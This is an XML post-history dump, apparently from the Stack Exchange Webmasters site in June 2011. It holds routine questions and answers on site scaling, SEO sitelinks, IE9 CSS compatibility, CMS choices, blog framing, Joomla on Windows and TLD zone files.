  <row Id="35981" PostHistoryTypeId="2" PostId="15254" RevisionGUID="bd62882d-18b2-4d88-82cd-9aa9690e28ba" CreationDate="2011-06-13T16:26:29.480" UserId="8262" Text="Yeah I know, it's not a joke.....I really need some advice on how I could create a web site which could handle 1.300.000 ref. or more&#xD;&#xA;&#xD;&#xA;Currently I'm running a dedicated server with 2mo ram and 1.6 proc, with a drupal 7 install and mysql 5.1, but the database keeps crashing and the load of the server is really awful!!! I was looking into an Apache Solr solution but still don't see how it will resolve my problem&#xD;&#xA;&#xD;&#xA;I tried some solution with full xml page (no databases) or just html but nothing is working...I'm probably missing something here, but what, I can't see!!!&#xD;&#xA;&#xD;&#xA;Does anyone have some light to shade on my problem?" />
  <row Id="35982" PostHistoryTypeId="1" PostId="15254" RevisionGUID="bd62882d-18b2-4d88-82cd-9aa9690e28ba" CreationDate="2011-06-13T16:26:29.480" UserId="8262" Text="How can I make a site with 1.300.000 pages ???" />
  <row Id="35983" PostHistoryTypeId="3" PostId="15254" RevisionGUID="bd62882d-18b2-4d88-82cd-9aa9690e28ba" CreationDate="2011-06-13T16:26:29.480" UserId="8262" Text="&lt;apache&gt;&lt;web&gt;&lt;sites&gt;" />
  <row Id="35984" PostHistoryTypeId="2" PostId="15255" RevisionGUID="676ee1e6-e508-43a8-b607-265efd45055c" CreationDate="2011-06-13T17:11:34.173" UserId="7962" Text="![Apple](http://img546.imageshack.us/img546/2937/92dbe1e8505d4141b32e75b.png)&#xD;&#xA;&#xD;&#xA;Some big sites have their content indexed like the example above - the so called sitelinks. Any idea what it takes to have something like that?" />
  <row Id="35985" PostHistoryTypeId="1" PostId="15255" RevisionGUID="676ee1e6-e508-43a8-b607-265efd45055c" CreationDate="2011-06-13T17:11:34.173" UserId="7962" Text="SEO: sitelinks criteria" />
  <row Id="35986" PostHistoryTypeId="3" PostId="15255" RevisionGUID="676ee1e6-e508-43a8-b607-265efd45055c" CreationDate="2011-06-13T17:11:34.173" UserId="7962" Text="&lt;seo&gt;&lt;google&gt;&lt;sitelinks&gt;" />
  <row Id="35987" PostHistoryTypeId="2" PostId="15256" RevisionGUID="dfabff9e-744f-4264-974a-1ff624e149c8" CreationDate="2011-06-13T17:12:11.890" UserId="8264" Text="I am developing the following website and just discovered that the styling of the navigation does not work well in IE9 but is great in IE8 and other browsers - how do sort this out? I have tried most things.  www.thebedfordnannyagency.co.uk" />
  <row Id="35988" PostHistoryTypeId="1" PostId="15256" RevisionGUID="dfabff9e-744f-4264-974a-1ff624e149c8" CreationDate="2011-06-13T17:12:11.890" UserId="8264" Text="How do get my css style sheet to work the same in IE9 as it does in IE8 and other browsers?" />
  <row Id="35989" PostHistoryTypeId="3" PostId="15256" RevisionGUID="dfabff9e-744f-4264-974a-1ff624e149c8" CreationDate="2011-06-13T17:12:11.890" UserId="8264" Text="&lt;css&gt;&lt;web-development&gt;" />
  <row Id="35990" PostHistoryTypeId="17" PostId="15257" RevisionGUID="a1dfc536-c722-44f4-bf9d-7ba09fa470aa" CreationDate="2011-06-13T17:17:59.993" UserId="-1" Comment="from http://stackoverflow.com/questions/6330787/recommend-a-cms-and-extension-to-build-an-event-manager" Text="" />
  <row Id="35991" PostHistoryTypeId="17" PostId="15258" RevisionGUID="5f564e77-2d9e-488b-a227-89467b44e213" CreationDate="2011-06-13T17:17:59.993" UserId="-1" Comment="from http://stackoverflow.com/questions/6330787/recommend-a-cms-and-extension-to-build-an-event-manager" Text="" />
  <row Id="35992" PostHistoryTypeId="2" PostId="15258" RevisionGUID="c1fc307e-4aab-4750-90b1-1f531492a815" CreationDate="2011-06-13T13:10:31.317" UserId="7588" Text="CiviCRM will help you with that although you will not be able to book seats by number.&#xD;&#xA;&#xD;&#xA;http://civicrm.org/try" />
  <row Id="35993" PostHistoryTypeId="2" PostId="15257" RevisionGUID="79f78fbe-75a4-4b77-9022-6e79b5e9898f" CreationDate="2011-06-13T13:05:48.057" UserDisplayName="Haris" Text="I have a lead to build an event manager solution in LAMP with following functionality: &#xD;&#xA;&#xD;&#xA;It should handle events by country, city, locality in city, type of event, venue type etc. &#xD;&#xA;&#xD;&#xA;following are a few user features:&#xD;&#xA;&#xD;&#xA; - to see details of city, venue, event, performer etc. &#xD;&#xA; - to purchase tickets and reserve&#xD;&#xA;   tables.&#xD;&#xA; - to search for events by city, venue,&#xD;&#xA;   type, performer etc.&#xD;&#xA; - to manage favorite venues and&#xD;&#xA;   performers, save events etc.&#xD;&#xA; - the venues should be able to add&#xD;&#xA;   their events&#xD;&#xA;&#xD;&#xA;I plan to use a CMS (Joomla, Drupal etc.) with some ready made extension that provides most of the functionality or provide framework to build upon.&#xD;&#xA;&#xD;&#xA;Could you guys suggest me a CMS and an extension to build this.&#xD;&#xA;&#xD;&#xA;Thanks in anticipation!" />
  <row Id="35994" PostHistoryTypeId="1" PostId="15257" RevisionGUID="79f78fbe-75a4-4b77-9022-6e79b5e9898f" CreationDate="2011-06-13T13:05:48.057" UserDisplayName="Haris" Text="Recommend a CMS and extension to build an Event Manager" />
  <row Id="35995" PostHistoryTypeId="3" PostId="15257" RevisionGUID="79f78fbe-75a4-4b77-9022-6e79b5e9898f" CreationDate="2011-06-13T13:05:48.057" UserDisplayName="Haris" Text="&lt;php&gt;&lt;drupal&gt;&lt;cms&gt;&lt;joomla&gt;&lt;lamp&gt;" />
  <row Id="35996" PostHistoryTypeId="2" PostId="15259" RevisionGUID="3f129457-9d9b-4715-a9fc-1e6842c6bc0b" CreationDate="2011-06-13T17:19:34.137" UserId="1253" Text="You can use [document compatibility mode][1]. &#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;      &lt;!-- Mimic Internet Explorer 8 --&gt;&#xD;&#xA;      &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=EmulateIE8&quot; &gt;&#xD;&#xA;      &lt;title&gt;My webpage&lt;/title&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;      &lt;p&gt;Content goes here.&lt;/p&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt; &#xD;&#xA;&#xD;&#xA;You can also set this as an HTTP header. If you are using Apache you can place this in an .htaccess file in your route directory to accomplish the same thing:&#xD;&#xA;&#xD;&#xA;    Header set X-UA-Compatible &quot;IE=8&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/cc288325%28v=vs.85%29.aspx" />
  <row Id="35997" PostHistoryTypeId="5" PostId="15256" RevisionGUID="848de94c-510f-44c8-bcad-d3ca39011dac" CreationDate="2011-06-13T17:19:51.360" UserId="1253" Comment="deleted 58 characters in body; edited tags" Text="I am developing the following website and just discovered that the styling of the navigation does not work well in IE9 but is great in IE8 and other browsers - how do sort this out? " />
  <row Id="35998" PostHistoryTypeId="6" PostId="15256" RevisionGUID="848de94c-510f-44c8-bcad-d3ca39011dac" CreationDate="2011-06-13T17:19:51.360" UserId="1253" Comment="deleted 58 characters in body; edited tags" Text="&lt;css&gt;&lt;web-development&gt;&lt;internet-explorer-9&gt;" />
  <row Id="35999" PostHistoryTypeId="5" PostId="15255" RevisionGUID="b21526fd-8518-4b2a-b982-594563a3e100" CreationDate="2011-06-13T17:23:17.627" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;![Apple](http://img546.imageshack.us/img546/2937/92dbe1e8505d4141b32e75b.png)&#xD;&#xA;&#xD;&#xA;Some big sites have their content indexed like the example above - the so called sitelinks. Any idea what it takes to have something like that?" />
  <row Id="36000" PostHistoryTypeId="10" PostId="15255" RevisionGUID="6edfa4de-20e7-4ae5-bf01-fbf8efe180de" CreationDate="2011-06-13T17:23:16.380" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36007" PostHistoryTypeId="25" PostId="15250" RevisionGUID="c6c97e8a-a8f2-4c19-87f9-d08f0c1da26d" CreationDate="2011-06-13T18:21:27.100" Comment="http://twitter.com/#!/StackWebmasters/status/80339005987762176" />
  <row Id="36008" PostHistoryTypeId="2" PostId="15261" RevisionGUID="552053d9-bb53-4d32-a4e8-01ca3bb99e5e" CreationDate="2011-06-13T19:35:44.600" UserId="8133" Text="***Originally posted on: http://webapps.stackexchange.com/questions/16189/blog-site-with-existing-domain-name/16210#16210*** &#xD;&#xA;&#xD;&#xA;You can also make use of whatever blog service as you wish and force the blog to run inside of a frame with the next code in an html file, this way you can use a folder in your main public_html site and make a kind of a redirection to the blogging service as you wish.&#xD;&#xA;&#xD;&#xA;The code would look like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt; &#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt; &#xD;&#xA;      &lt;meta content=&quot;text/html;charset=UTF-8&quot; http-equiv=&quot;Content-Type&quot;&gt; &#xD;&#xA;      &lt;title&gt;Place here your site's name&lt;/title&gt; &#xD;&#xA;    &lt;/head&gt; &#xD;&#xA;     &#xD;&#xA;    &lt;frameset title=&quot;Player&quot; border=&quot;0&quot; frameborder=&quot;no&quot; rows=&quot;*&quot; onload=&quot;doLoad()&quot; onunload=&quot;doUnload()&quot;&gt; &#xD;&#xA;    &lt;frame title=&quot;Content&quot; noresize=&quot;noresize&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; src=&quot;http://placeheretheblogname.blogspot.com&quot; name=&quot;course_frame&quot; scrolling=&quot;auto&quot;&gt; &#xD;&#xA;    &lt;/frameset&gt; &#xD;&#xA;     &#xD;&#xA;    &lt;/html&gt; &#xD;&#xA;&#xD;&#xA;The previous code will work just if the blogging service that you are using allows you to run the blog inside of a frame. Of which I have noticed that Blogger (.blogspot.com) and Wordpress will allow you. This trick will work even for static or dynamic pages.&#xD;&#xA;&#xD;&#xA;To see the code in action click the next link: http://geppettvs.servehttp.com/blog&#xD;&#xA;&#xD;&#xA;When you see inside of the code (with development tools or extensions) you will see the code redirecting to my own hosting service in which I have placed the blog, which is -indeed- other than the link you have clicked.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;P.S. This trick will allow you to drop a kind of link that looks like: http://www.yourdomain.com/blog &lt;== change &quot;blog&quot; for whatever you name the blog's folder." />
  <row Id="36009" PostHistoryTypeId="5" PostId="15109" RevisionGUID="d1d84d5d-b7f4-43e3-8b58-ac733f6b6503" CreationDate="2011-06-13T19:47:10.727" UserId="6901" Comment="added 169 characters in body" Text="I'm really impressed with Stack Exchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building.&#xD;&#xA;&#xD;&#xA;Does anyone know of a php wiki that has a concept of privileges/reputation similar to Stack Exchange? I'm not necessarily looking for something *identical* to SE, I'm just looking for a wiki application that gives users more privileges the more they contribute *positively* to the wiki (SE has down votes, the wiki should have some way of identifying negative contributions too). The privileges should be category based, so the more active you are in a specific category or page, the more privileges you get for that category. There should also be site wide privileges as well, though those should be harder to access than the category privileges.&#xD;&#xA;&#xD;&#xA;*NOTE: If it is not possible to get category wide privileges and site wide privileges, I will be OK with just category wide privileges or just site wide privileges.*&#xD;&#xA;&#xD;&#xA;I should be able to change the requirements for each privilege, through a administration panel or through editing a file.&#xD;&#xA;&#xD;&#xA;Does anyone have a script or a solution that will do this? If the script uses something similar to reputation to determine how much a user has positively contributed to the site, then that is OK too." />
  <row Id="36010" PostHistoryTypeId="17" PostId="15262" RevisionGUID="b6dd4663-236d-4051-bf22-9eadf06b4327" CreationDate="2011-06-13T20:40:15.140" UserId="-1" Comment="from http://stackoverflow.com/questions/6336002/is-it-possible-to-install-joomla-on-a-windows-server" Text="" />
  <row Id="36011" PostHistoryTypeId="17" PostId="15263" RevisionGUID="6bb7f09e-c123-4891-b002-18817ff11d19" CreationDate="2011-06-13T20:40:15.140" UserId="-1" Comment="from http://stackoverflow.com/questions/6336002/is-it-possible-to-install-joomla-on-a-windows-server" Text="" />
  <row Id="36012" PostHistoryTypeId="2" PostId="15263" RevisionGUID="1f166859-7c0e-4a2f-a417-541105599cbc" CreationDate="2011-06-13T20:38:03.453" UserId="7222" Text="Yes, it is possible - see http://www.joomla.org/technical-requirements.html" />
  <row Id="36013" PostHistoryTypeId="2" PostId="15262" RevisionGUID="3fad6e48-950a-466a-9136-023aa5ef7065" CreationDate="2011-06-13T20:36:01.477" UserDisplayName="numerical25" Text="Is it possible to install joomla  on a windows server and what might be the difficulties of going about and doing so. Our client has a windows dedicated box and they want joomla placed on their server. " />
  <row Id="36014" PostHistoryTypeId="1" PostId="15262" RevisionGUID="3fad6e48-950a-466a-9136-023aa5ef7065" CreationDate="2011-06-13T20:36:01.477" UserDisplayName="numerical25" Text="Is it possible to install joomla on a windows server ?" />
  <row Id="36015" PostHistoryTypeId="3" PostId="15262" RevisionGUID="3fad6e48-950a-466a-9136-023aa5ef7065" CreationDate="2011-06-13T20:36:01.477" UserDisplayName="numerical25" Text="&lt;php&gt;&lt;windows&gt;&lt;server&gt;&lt;joomla&gt;" />
  <row Id="36016" PostHistoryTypeId="2" PostId="15264" RevisionGUID="16568aa3-aad7-4495-888b-9b93176451c9" CreationDate="2011-06-13T20:48:55.890" UserId="5464" Text="My understanding is that the keywords shown are any phrase / combination of words your site has appeared somewhere in the results list for, and by somewhere i mean not just the first page. &#xD;&#xA;&#xD;&#xA;What this does give you is a good list of phrases you can use in conjunction with your analytics package to start to optimise content on your site around. (if you are using google analytics you may want to take a look at a preview feature which combines the data together: [Pilot Webmaster Tools’ Search Queries data in Google Analytics][1])&#xD;&#xA;&#xD;&#xA;You can also collect the data to see how the words change over time, at present you can only see 1 months worth of data so you would need to do this regularly. This would give you seasonal data which would be useful to target marketing. &#xD;&#xA;&#xD;&#xA;Right i have just check webmaster tools and the above more relevant to search queries which i find more useful sorry (left in as may well be useful if a little off topic). &#xD;&#xA;&#xD;&#xA;With regard to keywords this is a list or groups of words Google has found on your site, i consider it useful for ensuring no spam is being posted the site. Checking you are ranking for the phrases you want to and not something else i.e if it were a recruitment site you would want the phrase job or jobs to be high up on the list. The export also shows the pages Google has found the phrase in which gives you the ability to further optimise those or identify possible areas of duplication. I also keep a list of words i would like to do well for and can therefore use the keywords list to cross reference so as to pick out areas of weakness. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2011/06/pilot-webmaster-tools-search-queries.html" />
  <row Id="36017" PostHistoryTypeId="16" PostId="15264" RevisionGUID="6faaec33-5775-4e28-bd6b-7a817366807c" CreationDate="2011-06-13T20:48:55.890" UserId="5464" />
  <row Id="36018" PostHistoryTypeId="2" PostId="15265" RevisionGUID="60d841d8-63b1-4c67-83f9-6bdadd69c605" CreationDate="2011-06-13T20:49:55.283" UserId="7628" Text="We've got a site where the customer sells the sheet music of music compositions. The sheet music they that sell is a physical, printed product. However, they'd like to have audio samples on all pages the have a snippet of a recording of the composition, so a sample of what the composition sounds like can be heard before purchasing the sheet music itself.&#xD;&#xA;&#xD;&#xA;The only way I can see to do this, without creating custom fields that we need to manually manage, is to create all the products as &quot;Downloadable Products&quot;, and attaching the samples. Problem is, then I also need to have an actual downloadable product (e.g. a PDF of the sheet music). This might be a good idea long term (to provide a digital copy), but right now the customer wants to keep it separate.&#xD;&#xA;&#xD;&#xA;Is this possible currently without custom fields?" />
  <row Id="36019" PostHistoryTypeId="1" PostId="15265" RevisionGUID="60d841d8-63b1-4c67-83f9-6bdadd69c605" CreationDate="2011-06-13T20:49:55.283" UserId="7628" Text="Magento: Adding downloadable samples to a product that isn't downloadable" />
  <row Id="36020" PostHistoryTypeId="3" PostId="15265" RevisionGUID="60d841d8-63b1-4c67-83f9-6bdadd69c605" CreationDate="2011-06-13T20:49:55.283" UserId="7628" Text="&lt;magento&gt;" />
  <row Id="36021" PostHistoryTypeId="25" PostId="15232" RevisionGUID="fe68f9da-7da9-4e92-9762-873045411e4c" CreationDate="2011-06-13T21:21:27.573" Comment="http://twitter.com/#!/StackWebmasters/status/80384308338098176" />
  <row Id="36022" PostHistoryTypeId="2" PostId="15266" RevisionGUID="07d4b898-8d1a-4722-bdc3-beef21595b96" CreationDate="2011-06-13T21:47:33.093" UserId="-1" Text="" />
  <row Id="36023" PostHistoryTypeId="2" PostId="15267" RevisionGUID="7751b32b-2f11-4145-a106-77a650291fd6" CreationDate="2011-06-13T21:47:33.093" UserId="-1" Text="" />
  <row Id="36025" PostHistoryTypeId="2" PostId="15269" RevisionGUID="62dfdfe0-7051-4f93-bca7-9d122c3f0c26" CreationDate="2011-06-13T22:10:10.400" UserId="8009" Text="People just don't seem to understand. SEO ISN'T constantly changing. Everytime you go out and buy an 'up to date' book on SEO, you're just lining the pockets of 'seo' professionals that claim to be experts at playing the SE's, but it's all rubbish. The Art of SEO is still an extremely solid book and probably the only one I've read that holds any truth. It makes sure you know from day one that there is no 'fast way' to work your way up the serps and focuses on core elements of SEO that will always be around.&#xD;&#xA;&#xD;&#xA;The key to SEO is to build a site for your visitors, not for the search engines. SEO does NOT change, only the SE's themselves change to give their users a better experience, this means weeding out the over-optimized sites and producing natural/useful results.&#xD;&#xA;&#xD;&#xA;I'll tell you what you need to do for SEO in two sentences.&#xD;&#xA;&#xD;&#xA;1. Build a site worth visiting.&#xD;&#xA;2. Use valid markup, guidelines of which are available on pretty much any 'Pro SEO Blog' (roll-eyes)." />
  <row Id="36026" PostHistoryTypeId="2" PostId="15270" RevisionGUID="645b26f1-b71f-447f-95a3-1af4b0410729" CreationDate="2011-06-13T22:13:02.830" UserId="8009" Text="It depends how much traffic these 1.3m servers are getting. If it's a high-traffic site, I expect you'll be looking at a dedicated database server and another to handle 'the rest'...&#xD;&#xA;&#xD;&#xA;More info." />
  <row Id="36028" PostHistoryTypeId="5" PostId="15267" RevisionGUID="5dfb4609-8832-4be7-94b7-d9155e100383" CreationDate="2011-06-13T22:29:15.477" UserId="6901" Comment="added 66 characters in body" Text="Unwanted activity/content that is usually of a promotional nature." />
  <row Id="36029" PostHistoryTypeId="24" PostId="15267" RevisionGUID="5dfb4609-8832-4be7-94b7-d9155e100383" CreationDate="2011-06-13T22:29:15.477" Comment="Proposed by 6901 approved by 1253 edit id of 398" />
  <row Id="36030" PostHistoryTypeId="5" PostId="15266" RevisionGUID="135e0b9a-fdf3-4a54-aa71-6e2ff8ef1cb9" CreationDate="2011-06-13T22:29:16.333" UserId="6901" Comment="added 126 characters in body" Text="Unwanted activity/content that is usually of a promotional nature. A common way to stop spam is to add a CAPTCHA to your site." />
  <row Id="36031" PostHistoryTypeId="24" PostId="15266" RevisionGUID="135e0b9a-fdf3-4a54-aa71-6e2ff8ef1cb9" CreationDate="2011-06-13T22:29:16.333" Comment="Proposed by 6901 approved by 1253 edit id of 397" />
  <row Id="36032" PostHistoryTypeId="2" PostId="15271" RevisionGUID="4b7614cb-537a-4c5d-88ae-40e2bbb94f4b" CreationDate="2011-06-13T23:01:03.307" UserId="8274" Text="I would like to make a website that has a lot of the same features and functionality of www.quibids.com.  I need user accounts, payment processing, various products that will have a timer, packages of &quot;bids&quot; for a price, and I will also need a custom flash interface application that records data based on user input and a CMS system so I can update the products on a daily basis. &#xD;&#xA;&#xD;&#xA;FYI this has nothing to do with auctions quibids is just a good indication of what I need. I'm trying to create the website as cheaply as possible, but at the same time, I want the end result to have a high end professional appeal (like quibids does in my mind).  &#xD;&#xA;&#xD;&#xA;I plan to get the front end via www.99designs.com (any better recommendations?) which is where quibids got theirs.  &#xD;&#xA;&#xD;&#xA;I have received some quotes to build out the rest, but they range from 30K to 150K (in the US).  I stumbled upon freelancer.com and found some people who I think can get most, if not all, of the work I need done at a much cheaper price.  So here are my questions:&#xD;&#xA;&#xD;&#xA;1. Am I off base or am I approaching this correctly?&#xD;&#xA;2. Where can I find someone locally (in the US) who would have knowledge of everything I'm trying to accomplish that could check the work that someone is doing on freelancer to ensure it's quality? I can see that it looks and works, but I don't know the interworkings of complex web design. &#xD;&#xA;3.  How much do you believe I should be spending on a website described above? " />
  <row Id="36033" PostHistoryTypeId="1" PostId="15271" RevisionGUID="4b7614cb-537a-4c5d-88ae-40e2bbb94f4b" CreationDate="2011-06-13T23:01:03.307" UserId="8274" Text="Outsourcing backend work" />
  <row Id="36034" PostHistoryTypeId="3" PostId="15271" RevisionGUID="4b7614cb-537a-4c5d-88ae-40e2bbb94f4b" CreationDate="2011-06-13T23:01:03.307" UserId="8274" Text="&lt;ecommerce&gt;&lt;web&gt;&lt;design&gt;&lt;web-applications&gt;" />
  <row Id="36035" PostHistoryTypeId="25" PostId="15226" RevisionGUID="67a4f6b1-2b71-4b45-bab6-2df009fbc92b" CreationDate="2011-06-14T00:21:28.587" Comment="http://twitter.com/#!/StackWebmasters/status/80429611019804673" />
  <row Id="36036" PostHistoryTypeId="2" PostId="15272" RevisionGUID="621d82c0-2559-408c-924c-3e1962acaf5f" CreationDate="2011-06-14T02:30:29.587" UserId="8278" Text="I'd suggest having a look at a CMS like MoST, which is developed specifically for event management.&#xD;&#xA;These CMS's have been developed specifically for the kind of requiremetns you are talking about, so there's no need to reinvent the wheel, or mess around with plug-in compatibility issues.&#xD;&#xA;They do come at a price, but the savings in time, reputation, and reliability outweigh the financial cost in my opinion.&#xD;&#xA;The website for it is www.getmost.info, which gives a good overview of what you can do" />
  <row Id="36037" PostHistoryTypeId="17" PostId="15273" RevisionGUID="964aaeb6-ab04-4176-9a31-20213e7c9db5" CreationDate="2011-06-14T02:31:44.517" UserId="-1" Comment="from http://superuser.com/questions/296758/get-all-registered-country-code-top-level-domain-names" Text="" />
  <row Id="36038" PostHistoryTypeId="2" PostId="15273" RevisionGUID="8757d20f-88be-435d-a6dd-81eafb5d7d0c" CreationDate="2011-06-14T02:24:50.963" UserId="9218" UserDisplayName="user157195" Text="Is there a way to get all the registered domain names for .CN or another country code (CC) top-level domain (TLD)?&#xD;&#xA;&#xD;&#xA;Is there a central registry for such data?  If not, how do I go about collecting them?" />
  <row Id="36039" PostHistoryTypeId="1" PostId="15273" RevisionGUID="8757d20f-88be-435d-a6dd-81eafb5d7d0c" CreationDate="2011-06-14T02:24:50.963" UserId="9218" UserDisplayName="user157195" Text="Get all registered country code top-level domain names" />
  <row Id="36040" PostHistoryTypeId="3" PostId="15273" RevisionGUID="8757d20f-88be-435d-a6dd-81eafb5d7d0c" CreationDate="2011-06-14T02:24:50.963" UserId="9218" UserDisplayName="user157195" Text="&lt;domain-names&gt;&lt;tld&gt;" />
  <row Id="36041" PostHistoryTypeId="2" PostId="15274" RevisionGUID="1315672f-f35c-46d6-b84d-0ef6bac5f6b5" CreationDate="2011-06-14T03:21:17.257" UserId="1064" Text="You will need permission from the owner of the root zone for the Top-Level Domain (TLD)  to acquire a copy of the root zone.&#xD;&#xA;&#xD;&#xA;The [IANA Root Zone Database][1] lists owners for different TLD's if you'd like to follow up (some may require that you have a verifiable academic or business interest in the information).&#xD;&#xA;&#xD;&#xA;As an example, Verisign maintains an FAQ for those interested in [downloading the .COM, .NET, and .NAME zone files][2] (with daily updates).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iana.org/domains/root/db/&#xD;&#xA;  [2]: http://www.verisigninc.com/en_US/products-and-services/domain-name-services/grow-your-domain-name-business/analyze/tld-zone-access/index.xhtml" />
  <row Id="36042" PostHistoryTypeId="25" PostId="15257" RevisionGUID="dc9d7f41-c3c1-4f0b-b58d-ff4e40deda4f" CreationDate="2011-06-14T03:21:28.817" Comment="http://twitter.com/#!/StackWebmasters/status/80474910253793280" />
  <row Id="36046" PostHistoryTypeId="17" PostId="15276" RevisionGUID="bbab245c-7894-40ad-9e61-4dd8e4fbe350" CreationDate="2011-06-14T04:32:00.733" UserId="-1" Comment="from http://answers.onstartups.com/questions/25453/best-template-cms-system-for-user-space-within-a-site" Text="" />
  <row Id="36047" PostHistoryTypeId="17" PostId="15277" RevisionGUID="57f590d1-38eb-4012-a6a7-43580a66e597" CreationDate="2011-06-14T04:32:00.733" UserId="-1" Comment="from http://answers.onstartups.com/questions/25453/best-template-cms-system-for-user-space-within-a-site" Text="" />
  <row Id="36048" PostHistoryTypeId="2" PostId="15277" RevisionGUID="bb8b0a4e-6692-48df-9bb7-9cae1232563e" CreationDate="2011-05-25T14:07:09.677" UserDisplayName="HedgeMage" Text="You can definitely do this with [Drupal](http://drupal.org), but it's non-trivial -- the sort of thing you probably want to hire an experienced Drupal dev for if it is new to you." />
  <row Id="36049" PostHistoryTypeId="2" PostId="15276" RevisionGUID="234dc1a4-fa7b-4cf4-838b-31ce083ffc1f" CreationDate="2011-05-25T13:30:26.937" UserDisplayName="CpNewStart" Text="Any ideas on a CMS system where I want to give each user a specific page to do their content and not be able to impact other users pages.  It seems most CMS system give a basic level of membership that doesnt allow this kind of setup.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="36050" PostHistoryTypeId="1" PostId="15276" RevisionGUID="234dc1a4-fa7b-4cf4-838b-31ce083ffc1f" CreationDate="2011-05-25T13:30:26.937" UserDisplayName="CpNewStart" Text="Best template CMS system for user space within a site" />
  <row Id="36051" PostHistoryTypeId="3" PostId="15276" RevisionGUID="234dc1a4-fa7b-4cf4-838b-31ce083ffc1f" CreationDate="2011-05-25T13:30:26.937" UserDisplayName="CpNewStart" Text="&lt;startup&gt;" />
  <row Id="36056" PostHistoryTypeId="2" PostId="15280" RevisionGUID="2c570d1c-4740-4f81-8791-8fc7fb5aef3f" CreationDate="2011-06-14T05:31:33.137" UserId="8141" Text="you can also try &#xD;&#xA;&#xD;&#xA;http://www.iconfinder.com&#xD;&#xA;&#xD;&#xA;and you have to combine all of them foe CSS sprites." />
  <row Id="36057" PostHistoryTypeId="2" PostId="15281" RevisionGUID="7682b571-745a-444a-ac58-a281127e2fa2" CreationDate="2011-06-14T06:04:13.203" UserId="8141" Text="or simply you can use  CSS - Conditional comments for IE&#xD;&#xA;&#xD;&#xA;http://www.css-tricks.com/how-to-create-an-ie-only-stylesheet&#xD;&#xA;&#xD;&#xA;http://www.javascriptkit.com/dhtmltutors/csshacks.shtml&#xD;&#xA;&#xD;&#xA;which will be quiet simple if you are a newbie&#xD;&#xA;hope it helps." />
  <row Id="36062" PostHistoryTypeId="17" PostId="15283" RevisionGUID="9aa562e6-79d2-4748-a97b-022d96d2d5b1" CreationDate="2011-06-14T06:23:02.490" UserId="-1" Comment="from http://stackoverflow.com/questions/6338077/google-chrome-for-mac-css-colors-and-display-profiles" Text="" />
  <row Id="36063" PostHistoryTypeId="2" PostId="15284" RevisionGUID="904bde52-546b-4c7f-aa30-08e4e9ce138f" CreationDate="2011-06-14T01:11:32.673" UserDisplayName="Andrew Marshall" Text="This is a known issue. Please see [Chromium issue #44872][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/chromium/issues/detail?id=44872" />
  <row Id="36064" PostHistoryTypeId="2" PostId="15283" RevisionGUID="4e96e940-24a5-4d64-86ae-186ab9d6f9ac" CreationDate="2011-06-14T01:07:00.110" UserDisplayName="Trevor Burnham" Text="So, I'm aware that some browsers correct the colors in *images* in accordance with system settings, and that browsers differ in how they do this. But I'm very surprised when a color specified in a *stylesheet* appears different from one browser to another on the same system.&#xD;&#xA;&#xD;&#xA;With the latest Safari and Firefox, if I draw a div with `background: #885500`, I get a box with that color (as confirmed by the native DigitalColor Meter app):&#xD;&#xA;&#xD;&#xA;![Chrome screenshot][1]&#xD;&#xA;&#xD;&#xA;But when I load the same page in Chrome (Mac version 12.0.742.91) on the same system, a MacBook Pro with the default &quot;Color LCD&quot; display profile set, I get a noticeably different-colored box (DigitalColor Meter reports `#a34d00`—much more red, a bit less green):&#xD;&#xA;&#xD;&#xA;![Safari screenshot][2]&#xD;&#xA;&#xD;&#xA;I tried a few different color profiles, and found that the color reported by DigitalColor Meter changed under Chrome. It stays constant in Safari.&#xD;&#xA;&#xD;&#xA;What's going on? Is it that Chrome is adjusting its colors depending on the system's display profile, or is it that Safari and Firefox are doing so? Does this happen under other operating systems, or is it purely a Mac phenomenon? And is there any way, from CSS/JavaScript, to detect/prevent this behavior so that colors are consistent across modern browsers on the same system?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/e3wQR.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/VN9Ox.png" />
  <row Id="36065" PostHistoryTypeId="1" PostId="15283" RevisionGUID="4e96e940-24a5-4d64-86ae-186ab9d6f9ac" CreationDate="2011-06-14T01:07:00.110" UserDisplayName="Trevor Burnham" Text="Google Chrome for Mac, CSS colors and display profiles" />
  <row Id="36066" PostHistoryTypeId="3" PostId="15283" RevisionGUID="4e96e940-24a5-4d64-86ae-186ab9d6f9ac" CreationDate="2011-06-14T01:07:00.110" UserDisplayName="Trevor Burnham" Text="&lt;css&gt;&lt;google-chrome&gt;" />
  <row Id="36067" PostHistoryTypeId="17" PostId="15284" RevisionGUID="fed412ee-a8f3-48d6-abab-27a852c5969f" CreationDate="2011-06-14T06:23:02.490" UserId="-1" Comment="from http://stackoverflow.com/questions/6338077/google-chrome-for-mac-css-colors-and-display-profiles" Text="" />
